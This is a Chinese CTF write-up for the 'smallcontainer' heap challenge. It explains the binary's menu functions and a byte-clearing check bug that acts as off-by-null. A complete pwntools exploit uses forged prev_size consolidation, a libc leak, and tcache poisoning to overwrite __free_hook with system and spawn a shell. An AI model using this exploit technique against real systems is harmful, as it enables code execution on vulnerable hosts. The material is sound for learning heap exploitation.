题面
Ubuntu 18.04
这是一个small container,你能想办法找到出路吗?
仅提供二进制 service
堆重叠(利用 Off-by-Null)
通过 Off-by-Null 可以篡改 PREV_INUSE 位,这是堆利用非常经典的技巧。
堆快的 size 字段最低位是 PREV_INUSE ,用于标记物理相邻的前一个堆块是否正在被使用:
1 前一个堆块正在被使用中
0 前一个堆块已经被释放
Off-by-Null 漏洞能够写入一个 \x00 字节,请求大小为 0xF8 字节时,分配器实际会创建一个 size 为 0x101 的堆块: (0x100 是块大小,0x1 是 PREV_INUSE) 标志。此时就可以将其覆写,让分配器认为前一个块是空闲的,而不会觉察到块本身有异常。
一旦 PREV_INUSE 位被清零,free() 函数在释放这个被篡改的堆块时,就会执行向后合并(backward consolidation),其的核心流程如下:
- 伪造空闲的前块:需要在低地址处精心布置一个伪造的空闲堆块
- 设置
prev_size,:通过堆溢出等手段,将下一个堆块的 prev_size 字段设置为一个等于当前堆块地址与伪造堆块地址之间的差值。
- 触发合并:当程序
free() 被 Off-by-Null 篡改过的堆块时,free() 发现其 PREV_INUSE 为 0,便会信任 prev_size 字段,通过 chunk_at_offseet(p, -prevsize) 计算出前一个空闲块的地址,这个地址正好指向攻击者布置好的伪造堆块。
- 执行
unlink :分配器随后会尝试将这个伪造的空闲块从空闲链表中 unlink 下来,与当前块合并,这个 unlink 操作,如果伪造 fd 和 bk 指针满足检查条件 (FD->bk == P && BK->fd == P) 最终会将一个攻击者控制的指针写入目标地址,从而为后续的任意地址写或构造堆重叠铺平道路。
分析
checksec 查看保护:
1
2
3
4
5
6
7
8
9
10
|
❯ pwn checksec ./service
[*] '/data/project/ctf-repo/pwn/nssctf/巅峰极客_2022-smallcontainer/service'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
|
ida pro 静态分析
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned __int64 v4; // [rsp+8h] [rbp-8h]
init(a1: argc, a2: argv, a3: envp);
while ( 1 )
{
menu();
v4 = (int)retnum();
if ( v4 == 5 )
break;
if ( v4 > 5 )
goto LABEL_13;
switch ( v4 )
{
case 4uLL:
show();
break;
case 3uLL:
edit();
break;
case 1uLL:
add();
break;
case 2uLL:
delete();
break;
default:
LABEL_13:
puts(s: "Invalid choice.");
break;
}
}
puts(s: "Goodbye!");
return 0;
}
|
菜单题。
菜单长这样:
1
2
3
4
5
6
7
8
9
10
11
|
int menu()
{
puts(s: "This is a cyber container");
puts(s: "Can you break it?");
puts(s: "1. Add");
puts(s: "2. Delete");
puts(s: "3. Edit");
puts(s: "4. Show");
puts(s: "5. Exit");
return printf(format: "> ");
}
|
逐个来看看:
add:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
size_t add()
{
int i; // [rsp+4h] [rbp-Ch]
size_t size; // [rsp+8h] [rbp-8h]
for ( i = 0; ; ++i )
{
if ( i > 16 )
exit(status: 0);
if ( heappp[i] == 0 || sizeee[i] == 0 )
break;
}
printf(format: "Input size: ");
size = (int)retnum();
if ( size <= 0xFF || size > 0x3FF )
exit(status: 0);
heappp[i] = malloc(size);
sizeee[i] = size;
return size;
}
|
限制只能增加 16 个。每次都从 0 开始递增遍历到空的项来进行分配。大小限制在 0xFF ~ 0x3FF 之间。
将分配的堆地址放入 heappp[i] 内,将所请求的大小放入 sizeeee[i] 内。
show:
1
2
3
4
5
6
7
8
9
10
|
int show()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]
printf(format: "Input index: ");
v1 = (int)retnum();
if ( v1 > 0x10 || heappp[v1] == 0 || sizeee[v1] == 0 )
exit(status: 0);
return printf(format: "%lx", *(_QWORD *)heappp[v1]);
}
|
这里输出只有一个 %lx 打印出 heappp[v1] 的内容。
edit:
1
2
3
4
5
6
7
8
9
10
11
|
__int64 edit()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]
printf(format: "Input index: ");
v1 = (int)retnum();
if ( v1 > 0x10 || heappp[v1] == 0 || sizeee[v1] == 0 )
exit(status: 0);
read(fd: 0, buf: (void *)heappp[v1], nbytes: sizeee[v1]);
return check(a1: (_BYTE *)heappp[v1]);
}
|
写入内容,read 写入的大小被 sizeeee[i] 限制。
后面还用 check 函数进行检查,这里输出有一个后门:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
__int64 __fastcall check(_BYTE *a1)
{
__int64 result; // rax
while ( 1 )
{
result = (unsigned __int8)*a1;
if ( (_BYTE)result == 0 )
break;
if ( *a1 == 0x11 )
*a1 = 0;
++a1;
}
return result;
}
|
这里要是遍历到内容 0x11 的地址,就会将这里的内容清空,也就是置 0。
这里的作用就是用来修改堆 check 的元数据。比如 size 段要是有 0x11 就会直接清空,这里要是有 PREV_INUSE 位也会被清理掉。表示当前 chunk 是被释放的 chunk 。如果能够把 next_check 放入 unsorted bin 有机会将 curr_check 与 next_check 合并,虽然当前 chunk 没有被释放,如果我们从 unsortedbin 中获取到 chuk 则在 heappp 数组中就会存在两个指向同一 chunk 的指针。这样就可以利用 tcache bin atack 在 free_hook 写入 system 函数地址,执行 /bin/sh
delete:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
_QWORD *delete()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]
printf(format: "Input index: ");
v1 = (int)retnum();
if ( v1 > 0x10 || heappp[v1] == 0 || sizeee[v1] == 0 )
exit(status: 0);
free(ptr: (void *)heappp[v1]);
heappp[v1] = 0;
sizeee[v1] = 0;
return sizeee;
}
|
要是索引只能在 0x10 以内。大于 0x10 就会直接崩。
这里也有清理地址,没有 UAF。
利用
封装程序行为:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
def select(id: int):
io.recvuntil(b"> ")
io.sendline(str(id).encode())
def show(idx: int):
select(4)
io.recvuntil(b"Input index: ")
io.sendline(str(idx).encode())
print("show ", idx)
def edit(idx: int, content: bytes):
select(3)
io.recvuntil(b"Input index: ")
io.sendline(str(idx).encode())
sleep(0.1)
io.send(content)
print("edit ", idx)
def add(size: int):
select(1)
io.recvuntil(b"Input size: ")
io.sendline(str(size).encode())
print("add ", hex(size))
def delete(idx: int):
select(2)
io.recvuntil(b"Input index: ")
io.sendline(str(idx).encode())
print("delete ", idx)
|
布置堆
1
2
3
4
5
6
7
8
|
# 准备堆布局
add(0x1F8) # 0
add(0x1F8) # 1
add(0x1F8) # 2
add(0x208) # 3
for _ in range(7):
add(0x1F8) # 4 ~ 10
|
chunk 0, 1, 2 的大小 0x1F8 它们的 size 字段是 0x201 ,后续 Off-by-Null 将 0x201 的最低字节 0x1 覆盖为 0x0 。
1
2
3
4
5
6
|
# 让 chunk0 进入 unsorted bin
for i in range(6):
delete(5 + i)
delete(1)
delete(0) # 进 unsorted bins
|
填满 tcache,释放 chunk 1 chunk 0,将 check 0 放如 unsorted bins,为后续 libc 泄漏做准备。
Off-by-Null
上述操作完成后,chunk 2 和 chunk 3 之间的堆空间如下:
可以看到 chunk 3 此时 size 位是 0x201,PREV_INUSE 为 1。
接下来写入 chunk 2 覆盖 chunk3 的 prevsize 并利用 Off-by-Null 改写 PREV_INUSE 为 0:
然后将 chunk 3 的 prevsize 改写为 0x600 这样就能伪造一个非常大的空闲堆空间:
1
|
edit(2, b"a" * 0x1F0 + p64(0x600))
|
如下图所示。
修复 chunk3 之后的内存布局
chunk 3 原本的大小是 0x210,Off-by-Null 将 chunk 3 的最低字节清零之后,分配器对下一个 chunk 在哪里都判断会错误,所以就不断伪造出最小的 0x20 chunk 来计算下一个 chunk 地址。
1
2
|
edit(3, p64(0x21) * 0x41)
edit(4, p64(0x21) * 0x3F)
|
这样整个 3, 4 就会充满 0x21:
向后合并
此时万事俱备,只要 free 掉 chunk3 就会触发向后合并,拿到重叠多个 chunk 的大 chunk 地址:
从 chunk 0 开始的堆块。
这个 0x800的大块会被放回 unsorted bin ,它的 fd/bk 位于用户区开头。
切出重叠块泄漏 libc
之后请求 0x280 堆块,就从这个大块中切割:
原来 unsortedbins 残留的指向 main_arena 的地址可以用于泄漏 libc。正好 show 函数就是泄漏 %lx 恰好可以装下这个地址:
题目没给 libc,不过找到 libc 为:
1
|
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.6) stable release version 2.27.
|
这样就拿到 free_hook 和 system 地址。
tcache attack
注意到 chunk 0 有一段与 tcachebins 重叠:
可以用于篡改,指向 free_hook。而且此时 chunk 1 我们是可以写数据的。可以在开头写入 /bin/sh 。
1
|
edit(0, b"/bin/sh\x00" + b"a" * 0x1F0 + p64(0x201) + p64(free_hook))
|
得到:
此时 bins 情况:
1
2
|
tcachebins
0x200 [ 7]: 0x564924866460 —▸ 0x7f17cdded8e8 (__free_hook) ◂— 0
|
篡改 free_hook
1
2
3
|
add(0x1f8) # 1
add(0x1f8) # 2
edit(3, p64(system))
|
就是很常规的篡改。
pwn
此时 free_hook 已经是 system 所以我们执行 free 的时候实际是执行 system 这时候我们 free chunk 0 就会把我们之前布置在 chunk 0 的 /bin/sh 当成命令执行,这样我们就拿到 shell。
1
2
3
|
delete(0)
io.interactive()
|
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
|
from pwn import *
io = process("./service")
#io = remote("node4.anna.nssctf.cn", 22086)
libc = ELF("./libc.so.6")
def select(id: int):
io.recvuntil(b"> ")
io.sendline(str(id).encode())
def show(idx: int):
select(4)
io.recvuntil(b"Input index: ")
io.sendline(str(idx).encode())
print("show ", idx)
def edit(idx: int, content: bytes):
select(3)
io.recvuntil(b"Input index: ")
io.sendline(str(idx).encode())
sleep(0.1)
io.send(content)
print("edit ", idx)
def add(size: int):
select(1)
io.recvuntil(b"Input size: ")
io.sendline(str(size).encode())
print("add ", hex(size))
def delete(idx: int):
select(2)
io.recvuntil(b"Input index: ")
io.sendline(str(idx).encode())
print("delete ", idx)
# 准备堆布局
add(0x1F8) # 0
add(0x1F8) # 1
add(0x1F8) # 2
add(0x208) # 3
for _ in range(7):
add(0x1F8) # 4 ~ 10
# 让 chunk0 进入 unsorted bin
for i in range(6):
delete(5 + i)
delete(1)
delete(0) # 进 unsorted bins
edit(2, b"a" * 0x1F8)
# 伪造 PREV_SIZE = 0x600 跨越 chunk0 到 chunk3 之间的 3 个chunk
edit(2, b"a" * 0x1F0 + p64(0x600))
edit(3, p64(0x21) * 0x41)
edit(4, p64(0x21) * 0x3F)
delete(3) # 合并
add(0x278) # 0
show(0)
# chunk3 伪造的 matadata 负责制造重叠,重叠 chunk 负责修改 tcache 链
libc_base = int(io.recv(12), 16) - 0x3EC190
print("libc address =", hex(libc_base))
free_hook = libc.sym["__free_hook"] + libc_base
system = libc.sym["system"] + libc_base
print("free_hook address =", hex(free_hook))
print("system address =", hex(system))
# chunk 0 + 0x1f8: chunk1 的 size
# chunk0 + 0x200 : chunk1 的用户区,也就是 tcache fd
edit(0, b"/bin/sh\x00" + b"a" * 0x1F0 + p64(0x201) + p64(free_hook))
gdb.attach(io)
add(0x1f8) # 1
add(0x1f8) # 2
edit(3, p64(system))
delete(0)
io.interactive()
|